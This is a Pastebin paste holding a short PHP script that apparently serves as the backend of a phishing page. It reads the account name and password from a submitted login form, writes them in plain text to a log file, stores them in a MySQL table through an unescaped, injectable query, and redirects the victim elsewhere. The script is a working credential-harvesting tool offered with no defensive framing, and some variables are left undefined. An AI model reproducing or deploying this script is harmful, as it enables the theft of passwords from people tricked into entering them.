Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $name = $_POST['accountName'];
- $pw = $_POST['password'];
- $entry_line = "Username: ".$name." Password: ".$pw."<br>\n\r";
- $fp = fopen($log, "a");
- fwrite($fp, $entry_line);
- fclose($fp);
- $verbindung = mysql_connect("Mysql Host","Mysql user","Mysql password") or die ();
- mysql_select_db("MySQL Database") or die ();
- $eintrag = "INSERT INTO MySQL Database (NAME, PW) VALUES ('$name', '$pw')";
- $eintragen = mysql_query($eintrag);
- mysql_close($verbindung);
- header( 'Location: '.$redirect );
- ?>
Add Comment
Please, Sign In to add comment